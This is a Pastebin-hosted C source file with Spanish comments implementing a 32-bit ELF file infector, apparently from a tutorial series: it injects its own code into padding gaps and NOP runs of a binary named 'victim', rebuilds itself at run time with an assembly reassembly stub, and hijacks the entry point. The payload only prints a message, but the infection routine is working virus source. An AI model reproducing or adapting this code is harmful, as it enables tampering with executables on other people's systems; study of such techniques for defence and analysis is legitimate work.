document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /*
  2.  *    Infección segmentada con rutina de reensmblado y hooking del
  3.  *    punto de entrada del binario.
  4.  *    Copyright (C) 2012  Gonzalo J. Carracedo
  5.  *
  6.  *    This program is free software: you can redistribute it and/or modify
  7.  *    it under the terms of the GNU General Public License as published by
  8.  *    the Free Software Foundation, either version 3 of the License, or
  9.  *    (at your option) any later version.
  10.  *
  11.  *    This program is distributed in the hope that it will be useful,
  12.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  *    GNU General Public License for more details.
  15.  *
  16.  *    You should have received a copy of the GNU General Public License
  17.  *    along with this program.  If not, see <http://www.gnu.org/licenses/>
  18.  */
  19.  
  20. #include <sys/syscall.h>
  21. #include <sys/types.h>
  22. #include <elf.h>
  23. #include <stdint.h>
  24. #include <sys/mman.h>
  25. #include <stdlib.h>
  26.  
  27. /* Mínimo de contigüidad. Esto deberá modificarse una vez que escribamos la
  28.    rutina de reensamblado para asegurar que se carga completamente */
  29. #define MIN_CONTIGUOUS 114
  30.  
  31. /* Esta vez necesitamos dos marcadores distintos, ya que ahora nuestro
  32.    código estará troceado y puede empezar (o acabar) en cualquier parte. */
  33.    
  34. #define BOTTOM_MARKER_LOW  0x504b
  35. #define BOTTOM_MARKER_HIGH 0x5841
  36. #define TOP_MARKER_LOW     0x4158
  37. #define TOP_MARKER_HIGH    0x4b50
  38.  
  39. #define BOTTOM_MARKER      0x5841504b /* KPAX */
  40. #define TOP_MARKER         0x4b504158 /* XAPK */
  41.  
  42. #define NOT_INFECTED_MAGIC 0xaaaaaaaa
  43. #define FRAG_EP_OFFSET     12
  44. #define ORIGINAL_EP_OFFSET (FRAG_EP_OFFSET + 1)
  45.  
  46.  
  47. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  48.  
  49. /* Esta versión implementa mmap en vez de read, write o lseek. Es más
  50.    rápido, más corto y funcionará mejor para nuestros propósitos */
  51. /* Los includes pueden llegar a ser muy molestos. */
  52. #define O_RDWR                02
  53.  
  54.  
  55. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  56. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  57.    sustituirá por la cadena "palabra" */
  58.    
  59. #define _STRINGIFY(x) #x
  60. #define STRINGIFY(x) _STRINGIFY (x)
  61.  
  62. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  63.    el flag "a" le obliga a que la sección se cargue en memoria */
  64.    
  65. asm (".section .code_bottom, \\"xa\\"");
  66. asm (".long " STRINGIFY (BOTTOM_MARKER));
  67. asm (".long 0"); /* Reservamos espacio para guardar el tamaño de la zona contigua */
  68. asm (".long 0"); /* Puntero al primer trozo */
  69. asm ("\\n\\
  70. frag_entry:             \\n\\
  71.  push $" STRINGIFY (NOT_INFECTED_MAGIC) "\\n\\
  72.  pusha                 \\n\\
  73.  pushf                 \\n\\
  74.  call base_ref         \\n\\
  75.                        \\n\\
  76. base_ref:               \\n\\
  77.  pop %ebp              \\n\\
  78.  sub $0x18, %ebp\\n\\
  79.  jmp reassemble        \\n\\
  80.                        \\n\\
  81. assembled_entry:        \\n\\
  82.  call _start           \\n\\
  83.                        \\n\\
  84. boot_normal:            \\n\\
  85.  popf                  \\n\\
  86.  popa                  \\n\\
  87.  ret                   \\n\\
  88.                        \\n\\
  89. reassemble:             \\n\\
  90.  cld                   \\n\\
  91.  mov  $4096, %ecx      \\n\\
  92.  mov  $0x7, %edx       \\n\\
  93.  mov  $0x22, %esi      \\n\\
  94.  mov  $0xc0, %eax      \\n\\
  95.  int  $0x80            \\n\\
  96.  test $0xfff, %eax     \\n\\
  97.  jnz  boot_normal      \\n\\
  98.  mov  %eax, %edi       \\n\\
  99.  mov  %eax, %edx       \\n\\
  100.  mov %ebp, %esi        \\n\\
  101.  mov 4(%ebp), %ecx     \\n\\
  102.  mov 8(%ebp), %eax     \\n\\
  103.  rep movsb             \\n\\
  104.                        \\n\\
  105.  mov %ebp, %esi        \\n\\
  106.  sub %eax, %esi        \\n\\
  107.                        \\n\\
  108.  xor %ecx, %ecx        \\n\\
  109.                        \\n\\
  110. assembler:              \\n\\
  111.  mov 0(%esi), %eax     \\n\\
  112.  movb %al, %cl         \\n\\
  113.  add $4, %esi          \\n\\
  114.  rep movsb             \\n\\
  115.  shr $8, %eax          \\n\\
  116.  jz no_more_chunks     \\n\\
  117.  mov %ebp, %esi        \\n\\
  118.  sub %eax, %esi        \\n\\
  119.  jmp assembler         \\n\\
  120.                        \\n\\
  121. no_more_chunks:         \\n\\
  122.  mov %edx, %eax        \\n\\
  123.  add $30, %eax /* Desplazamiento al punto de entrada del código ensamblado */\\n\\
  124.  jmp *%eax             \\n\\
  125.  \\n\\
  126.  ");
  127. asm (".section .code_top, \\"xa\\"");
  128. asm (".long " STRINGIFY (TOP_MARKER));
  129.  
  130.  
  131. /* write la conservamos SÓLO para debug */
  132. int
  133. write (int fd, const void *buf, int size)
  134. {
  135.   int ret;
  136.  
  137.   asm volatile ("xchg %%ebx, %%esi\\n"
  138.                  "int $0x80\\n"
  139.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  140.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  141.    
  142.   return ret;
  143. }
  144.  
  145. /*
  146.  * Código copiado por las malas de la libc para la implementación de mmap/munmap.
  147.  */
  148.  
  149. void *
  150. mmap (void *start, size_t length, int prot, int flags, int fd, off_t offset);
  151.  
  152. int
  153. munmap (void *start, size_t length);
  154.  
  155. asm (".section .text");
  156. asm (".global munmap");
  157. asm ("munmap:");
  158. asm ("  mov    %ebx,%edx");
  159. asm ("  mov    0x8(%esp),%ecx");
  160. asm ("  mov    0x4(%esp),%ebx");
  161. asm ("  mov    $0x5b,%eax");
  162. asm ("  int    $0x80");
  163. asm ("  mov    %edx,%ebx");
  164. asm ("  ret");
  165.  
  166. asm (".global mmap");
  167. asm ("mmap:");
  168. asm ("  push %eax");
  169. asm ("  pusha");
  170. asm ("  mov    0x28(%esp), %ebx"); /* Primer argumento */
  171. asm ("  mov    0x2c(%esp), %ecx"); /* Segundo argumento */
  172. asm ("  mov    0x30(%esp), %edx"); /* Tercer argumento */
  173. asm ("  mov    0x34(%esp), %esi"); /* Cuargo argumento */
  174. asm ("  mov    0x38(%esp), %edi"); /* Quinto argumnto */
  175. asm ("  mov    0x3c(%esp), %ebp"); /* Sexto argumento */
  176. asm ("  shr    $0xc, %ebp"); /* El kernel se espera directamente los 12 bits de página */
  177. asm ("  mov    $0xc0, %eax");
  178. asm ("  int    $0x80");
  179. asm ("  mov    %eax, 0x20(%esp)");
  180. asm ("  popa");
  181. asm ("  pop %eax");
  182. asm ("  ret");
  183.  
  184. static int
  185. open (const char *path, int mode)
  186. {
  187.   int ret;
  188.  
  189.   asm volatile ("xchg %%ebx, %%esi\\n"
  190.                  "int $0x80\\n"
  191.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  192.                  "a" (__NR_open), "S" (path), "c" (mode));
  193.    
  194.   return ret;
  195. }
  196.  
  197. static int
  198. close (int fd)
  199. {
  200.   int ret;
  201.  
  202.   asm volatile ("xchg %%ebx, %%esi\\n"
  203.                  "int $0x80\\n"
  204.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  205.                  "a" (__NR_close), "S" (fd));
  206.    
  207.   return ret;
  208. }
  209.  
  210.  
  211. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  212.    muy útil para depurar. */
  213. void
  214. long2hex (unsigned int number, char *buf)
  215. {
  216.   int i;
  217.   char hexa[] = "0123456789abcdef";
  218.  
  219.   for (i = 0; i < 8; i++)
  220.   {
  221.     buf[7 - i] = hexa[number & 0xf];
  222.     number >>= 4;
  223.   }
  224.  
  225.   buf[8] = \'\\n\';
  226. }
  227.  
  228. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  229.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  230.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  231.    hacia arriba o hacia abajo hasta encontrarlos */
  232.    
  233. void
  234. get_code_limits (uint32_t *bottom, uint32_t *top)
  235. {
  236.   int i;
  237.   uint32_t this_addr;
  238.  
  239.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  240.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  241.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  242.      inline assembly de GCC */
  243.      
  244.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  245.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  246.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  247.      a un cacho de código que no está especialmente diferenciado del resto. */
  248.      
  249.   asm volatile ("call 1f\\n"
  250.                  "1:\\n"
  251.                  "popl %0\\n" : "=g" (this_addr));
  252.                  
  253.  
  254.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  255.      últimos bits a cero. */
  256.      
  257.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  258.                       this_addr = this_addr & 0xfffffffc que es un and
  259.                       en binario con todo 1 menos los dos últimos bits,
  260.                       esto fuerza a que el número esté alineado a 4. */
  261.  
  262.  
  263.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  264.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  265.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  266.      
  267.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  268.      restando. */
  269.      
  270.   for (i = this_addr; ; i -= 4)
  271.   {
  272.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  273.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  274.       {
  275.         *bottom = i;
  276.         break;
  277.       }
  278.   }
  279.  
  280.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  281.      nuestra memoria hacia adelante, sumando. */
  282.   for (i = this_addr; ; i += 4)
  283.   {
  284.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  285.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  286.       {
  287.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  288.                          4 bytes) también pertenece al código. */
  289.         break;
  290.       }
  291.   }
  292.  
  293. }
  294.  
  295. /* Debido a que sólo utilizo lseek una vez (y es para calcular el tamaño de
  296.    un fichero) he optado por meterla en una macro y ahorrarme prólogos y
  297.    una generalización que no voy a necestar. Es importante ahorrar espacio.
  298.    */
  299. #define GET_FILE_SIZE(fd, size)                                \\
  300.   asm volatile ("xchg %%ebx, %%esi\\n"                          \\
  301.                 "int $0x80\\n"                                  \\
  302.                 "xchg %%ebx, %%esi\\n" : "=a" (size) :          \\
  303.                 "a" (__NR_lseek), "S" (fd), "c" (0), "d" (2));
  304.                
  305. /* Equivalente a map_elf, pero usando mmap */
  306. void *
  307. map_elf (const char *path, size_t *size)
  308. {
  309.   int fd;
  310.   void *map;
  311.   Elf32_Ehdr *Ehdr;
  312.  
  313.   if ((fd = open (path, O_RDWR)) < 0)
  314.     return NULL; /* Error al abrir */
  315.  
  316.   GET_FILE_SIZE (fd, *size);
  317.  
  318.   if (*size < 0)
  319.     return NULL;
  320.    
  321.   if ((uint32_t) (map = mmap (NULL, *size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) & 0xfff)
  322.   {
  323.     DEBUG (map);
  324.     close (fd);
  325.     return NULL;
  326.   }
  327.  
  328.   close (fd);
  329.  
  330.   Ehdr = (Elf32_Ehdr *) map;
  331.  
  332.  
  333.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  334.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  335.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  336.       Ehdr->e_ident[EI_MAG3] != ELFMAG3 ||
  337.       Ehdr->e_ident[EI_CLASS] != ELFCLASS32 ||
  338.       Ehdr->e_ident[EI_DATA] != ELFDATA2LSB ||
  339.       Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  340.   {
  341.     munmap (map, *size);
  342.     return NULL; /* Números mágicos incorrectos */
  343.   }
  344.  
  345.   return map;
  346. }
  347.  
  348. /* Macro para alinear a tamaños */
  349. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  350.  
  351. /* get_alloc_info nos servirá para obtener el puntero a la brecha, su tamaño,
  352.    el espacio que tenemos en NOPs y cuántas tiras de NOPs tenemos. */
  353. int
  354. get_alloc_info (void *image_base,        /* Dirección donde hemos cargado el binario */
  355.                 Elf32_Phdr **code_phdr,  /* Aquí cargaremos la cabecera de código */
  356.                 void **gap_addr,         /* Aquí cargamos la dirección donde se carga la brecha */
  357.                 void **gap_virt,         /* Aquí, la dirección VIRTUAL de la brecha */
  358.                 size_t *gap_size,       /* Aquí, el tamaño de la brecha */
  359.                 int *nop_bytes,          /* Bytes libres en NOPs */
  360.                 int *nop_chunks)         /* Número de tiras de NOPs */
  361. {
  362.   int i, code_idx;
  363.   uint8_t *text;
  364.   int state = 0, stripsize = 0;
  365.  
  366.   off_t   gap_start, gap_start_relative;
  367.  
  368.   Elf32_Ehdr *Ehdr;
  369.   Elf32_Phdr *Phdr;
  370.  
  371.   code_idx = -1;
  372.  
  373.   Ehdr = (Elf32_Ehdr *) image_base;
  374.   Phdr = (Elf32_Phdr *) (image_base + Ehdr->e_phoff);
  375.    
  376.   for (i = 0; i < Ehdr->e_phnum; i++)
  377.   {  
  378.     if (Phdr[i].p_type == PT_LOAD)
  379.     {
  380.       if (Phdr[i].p_flags & PF_X)
  381.       {
  382.         if (code_idx != -1) /* ¿Dos segmentos de código? dew */
  383.           return -1;
  384.         code_idx = i;
  385.       }
  386.     }
  387.   }
  388.    
  389.   if (code_idx == -1)
  390.     return -1;
  391.  
  392.   *code_phdr = Phdr + code_idx;
  393.  
  394.   gap_start_relative = ALIGN ((*code_phdr)->p_filesz, 4); /* Comienzo relativo al segmento */
  395.   gap_start = (*code_phdr)->p_offset + gap_start_relative; /* Comienzo real */
  396.   *gap_size  = 4096 - (gap_start & 0xfff); /* Tamaño */
  397.  
  398.   *gap_virt = (void *) ((*code_phdr)->p_vaddr + gap_start_relative);
  399.  
  400.   *gap_addr = image_base + gap_start;
  401.  
  402.   for (i = 0; i < Ehdr->e_phnum; i++)
  403.   {
  404.     /* ¿Está a caballo entre dos segmentos? */
  405.     if (Phdr[i].p_type == PT_LOAD)
  406.       if (gap_start <= Phdr[i].p_offset && Phdr[i].p_offset < gap_start + *gap_size)
  407.         *gap_size = Phdr[i].p_offset - gap_start; /* Corregimos, no queremos chafar lo otro */
  408.   }
  409.    
  410.   /* El segmento de código empieza aquí */
  411.   text = (uint8_t *) (image_base + (*code_phdr)->p_offset);
  412.  
  413.   *nop_bytes = 0;
  414.   *nop_chunks = 0;
  415.  
  416.   /* Aquí contabilizamos cuántos bytes en NOPs usables tenemos */
  417.   for (i = 0; i < (*code_phdr)->p_filesz; i++)
  418.   {
  419.     if (!state)
  420.     {
  421.       if (text[i] == 0x90) /* RET */
  422.       {
  423.         stripsize = 1;
  424.         state++;
  425.       }
  426.     }
  427.     else
  428.     {
  429.       if (text[i] == 0x90)
  430.         stripsize++;
  431.       else
  432.       {
  433.         if (stripsize > 4) /* Sólo son útiles si tenemos 5 o más */
  434.         {
  435.           if ((i & 0xf) == 0)
  436.           {
  437.             (*nop_bytes) += stripsize;
  438.             (*nop_chunks)++;
  439.           }
  440.         }
  441.        
  442.         state--;
  443.       }
  444.     }
  445.   }
  446.  
  447.   return 0;
  448. }
  449.  
  450. /* Esta es la forma más corta que se me ocurre de implementar memcpy */
  451. #define FAST_MEMCPY(to, from, size)  \\
  452.   asm volatile ("push %%ecx\\npush %%esi\\npush %%edi\\nrep movsb\\npopl %%edi\\npopl %%esi\\npopl %%ecx" ::       \\
  453.   "S" (from), "D" (to), "c" (size));
  454.  
  455. /* alloc_nop_chunk nos buscará la primera tira de nops libre que encuentre */
  456. int
  457. alloc_nop_chunk (void *victim_code_base,  /* Dirección del segmento de código */
  458.                  size_t victim_code_size, /* Tamaño del mismo */
  459.                  void **chunk_addr,       /* Aquí guardamos la dirección */
  460.                  size_t *chunk_size)      /* Y aquí su tamaño */
  461. {
  462.   uint8_t *text;
  463.   int state = 0, stripsize = 0;
  464.   int i;
  465.  
  466.   text = (uint8_t *) victim_code_base;
  467.  
  468.   for (i = 0; i < victim_code_size; i++)
  469.   {
  470.     if (!state)
  471.     {
  472.       if (text[i] == 0x90) /* NOP */
  473.       {
  474.         stripsize = 1;
  475.         state++;
  476.       }
  477.     }
  478.     else
  479.     {
  480.       if (text[i] == 0x90 && stripsize < 255) /* No podemos manejar cosas tan grandes */
  481.         stripsize++;
  482.       else
  483.       {
  484.         if (stripsize > 4)
  485.         {
  486.           if ((i & 0xf) == 0)
  487.           {
  488.             *chunk_addr = (void *) &text[i - stripsize];
  489.             *chunk_size = stripsize - 4;
  490.          
  491.             return 0;
  492.           }
  493.         }
  494.        
  495.         state--;
  496.       }
  497.     }
  498.   }
  499.  
  500.   return -1;
  501. }
  502.  
  503. int
  504. infect (Elf32_Phdr *phdr,       /* Cabecera del segmento de código */
  505.         void *limit_bottom,   /* Comienzo de nuestro código */  
  506.         size_t self_code_size,  /* Tamaño de nuestro código */
  507.         void *victim_code_base, /* Dirección del segmento víctima */
  508.         void *gap_addr,         /* Inicio de la brecha */
  509.         size_t gap_size)        /* Tamaño de la brecha */
  510. {
  511.   off_t     code_offset;
  512.   uint32_t *code_as_dwords;
  513.   uint32_t *chunk_addr, *prev_chunk;
  514.   size_t   chunk_size;
  515.  
  516.   /* Haremos una de dos cosas. Si el código cabe entero, marco el tamaño de la zona contigua */
  517.  
  518.   if (self_code_size <= gap_size)
  519.   {
  520.     FAST_MEMCPY (gap_addr, limit_bottom, self_code_size);
  521.     phdr->p_filesz += self_code_size;
  522.     phdr->p_memsz  += self_code_size;
  523.    
  524.     return 0;
  525.   }
  526.   else if (MIN_CONTIGUOUS <= gap_size)
  527.   {
  528.     DEBUG ("Se va a intentar una infección segmentada\\n");
  529.          
  530.     /* Toca infección segmentada, "a ver si cuela" */
  531.     FAST_MEMCPY (gap_addr, limit_bottom, gap_size);
  532.    
  533.     phdr->p_filesz += gap_size;
  534.     phdr->p_memsz  += gap_size;
  535.    
  536.     code_as_dwords = (uint32_t *) gap_addr;
  537.     /* En code_as_dwords tendremos la sección contigua del código como un array
  538.        de dwords, donde:
  539.        
  540.        code_as_dwords[0] = MARCADOR INICIAL (KPAX)
  541.        code_as_dwords[1] = Tamaño de la zona contigua
  542.        code_as_dwords[2] = Desplazamiento hacia atrás desde code_as_dwords[0]
  543.                            donde se encuentra el primer fragmento */
  544.    
  545.     if (alloc_nop_chunk (victim_code_base, phdr->p_filesz, (void **) &chunk_addr, &chunk_size))
  546.       return -1; /* No quedan huecos */
  547.    
  548.     /* Aquí vamos a meter directamente el tamaño */
  549.     code_as_dwords[1] = gap_size;
  550.     code_as_dwords[2] = (uint32_t) gap_addr - (uint32_t) chunk_addr;
  551.    
  552.     code_offset = gap_size; /* Hemos sido capaces de colar gap_size bytes
  553.                                de nuestro código */
  554.    
  555.     while (code_offset < self_code_size)
  556.     {
  557.       if (chunk_size > self_code_size - code_offset)
  558.         chunk_size = self_code_size - code_offset;
  559.        
  560.       /* En este bucle tenemos:
  561.      
  562.          En chunk: como dwords, el puntero al primer dword del trozo.
  563.          En size:  tamaño del trozo (máximo: 255)
  564.          
  565.        
  566.          El chunk[0] contiene los metadatos con los offsets y tal. Guardaremos
  567.          lo mismo, offset hacia atrás desde el principio de la brecha.
  568.          
  569.          El trozo tendrá esta estructura forma:
  570.        
  571.            chunk[0]: BYTE 0: TAMAÑO (8 bits)
  572.                      BYTE 1: X \\
  573.                      BYTE 2: X  | DESPLAZAMIENTO DESDE LA BRECHA (24 bits)
  574.                      BYTE 3: X /
  575.            chunk[1]  BYTE 4: DATOS
  576.                      BYTE 5: DATOS
  577.                      BYTE 6: DATOS
  578.                       (...)
  579.          */
  580.          
  581.       chunk_addr[0] = (unsigned char) chunk_size;
  582.      
  583.       FAST_MEMCPY (&chunk_addr[1], limit_bottom + code_offset, chunk_size);
  584.      
  585.       code_offset += chunk_size;
  586.        
  587.       if (code_offset < self_code_size)
  588.       {
  589.         prev_chunk = chunk_addr;
  590.        
  591.         if (alloc_nop_chunk (victim_code_base, phdr->p_filesz, (void **) &chunk_addr, &chunk_size))
  592.           return -1; /* No quedan huecos */
  593.         prev_chunk[0] |= ((uint32_t) gap_addr - (uint32_t) chunk_addr) << 8;
  594.       }
  595.     }
  596.    
  597.     return 0;
  598.   }
  599.   else
  600.     return -1;
  601. }
  602.  
  603. /* Este código se ejecutará dentro del binario infectado */
  604. void
  605. payload (void)
  606. {
  607.   char msg[] = "ITS THE AWAKENING OF AKIRA! PREPARE YOUR HEARTS!\\n";
  608.   write (1, msg, sizeof (msg) - 1);
  609. }
  610.  
  611. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  612. void
  613. _start (void)
  614. {
  615.   char buffer[9];
  616.   Elf32_Phdr *code_phdr;
  617.   uint32_t   *default_entry_point;
  618.  
  619.   size_t     image_size;
  620.   void      *image_base;
  621.   void      *gap_addr;
  622.   void      *gap_virt;
  623.  
  624.   size_t     self_code_size;
  625.   void      *limit_bottom;
  626.   uint32_t   limit_top;
  627.  
  628.   int gap_size, nop_bytes, nop_chunks;
  629.  
  630.  
  631.   get_code_limits ((uint32_t *) &limit_bottom, &limit_top);
  632.   self_code_size = limit_top - (uint32_t) limit_bottom;
  633.   default_entry_point = (uint32_t *) ((void *) limit_bottom + ORIGINAL_EP_OFFSET);
  634.  
  635.   if (*default_entry_point == NOT_INFECTED_MAGIC)
  636.   {
  637.     if ((image_base = map_elf ("victim", &image_size)) == NULL)
  638.     {
  639.       DEBUG ("Imposible abrir victim\\n");
  640.       for (;;);
  641.     }
  642.    
  643.     if (get_alloc_info (image_base, &code_phdr, &gap_addr, &gap_virt, &gap_size, &nop_bytes, &nop_chunks) == -1)
  644.     {
  645.       DEBUG ("El binario tiene un segmento de código un tanto extraño.\\n");
  646.       for (;;);
  647.     }
  648.    
  649.     DEBUG ("Tamaño de la brecha: ");
  650.     long2hex (gap_size, buffer);
  651.     write (1, buffer, 9);
  652.    
  653.      
  654.     DEBUG ("Número de chunks disponibles: ");
  655.     long2hex (nop_chunks, buffer);
  656.     write (1, buffer, 9);
  657.    
  658.     if (nop_bytes - 4 * nop_chunks + gap_size < self_code_size)
  659.     {
  660.       DEBUG ("No cabe. No se intentará hacer una infección.\\n");
  661.       for (;;);
  662.     }
  663.    
  664.     if (gap_size < MIN_CONTIGUOUS)
  665.     {
  666.       DEBUG ("No se ha satisfecho el criterio de mínima contigüidad.\\n");
  667.       for (;;);
  668.     }
  669.    
  670.    
  671.     if (infect (code_phdr, limit_bottom, self_code_size, image_base + code_phdr->p_offset, gap_addr, gap_size) != -1)
  672.     {
  673.       /* Engancharse es mucho más fácil con mmaps */
  674.       *((uint32_t *) (gap_addr + ORIGINAL_EP_OFFSET)) = ((Elf32_Ehdr *) image_base)->e_entry;
  675.      
  676.       ((Elf32_Ehdr *) image_base)->e_entry = (uint32_t) (gap_virt + FRAG_EP_OFFSET);
  677.       DEBUG ("INFECTADO.\\n");
  678.     }
  679.     else
  680.       DEBUG ("NO INFECTADO.\\n");
  681.    
  682.     for (;;);
  683.   }
  684.   else
  685.     payload ();
  686. }
');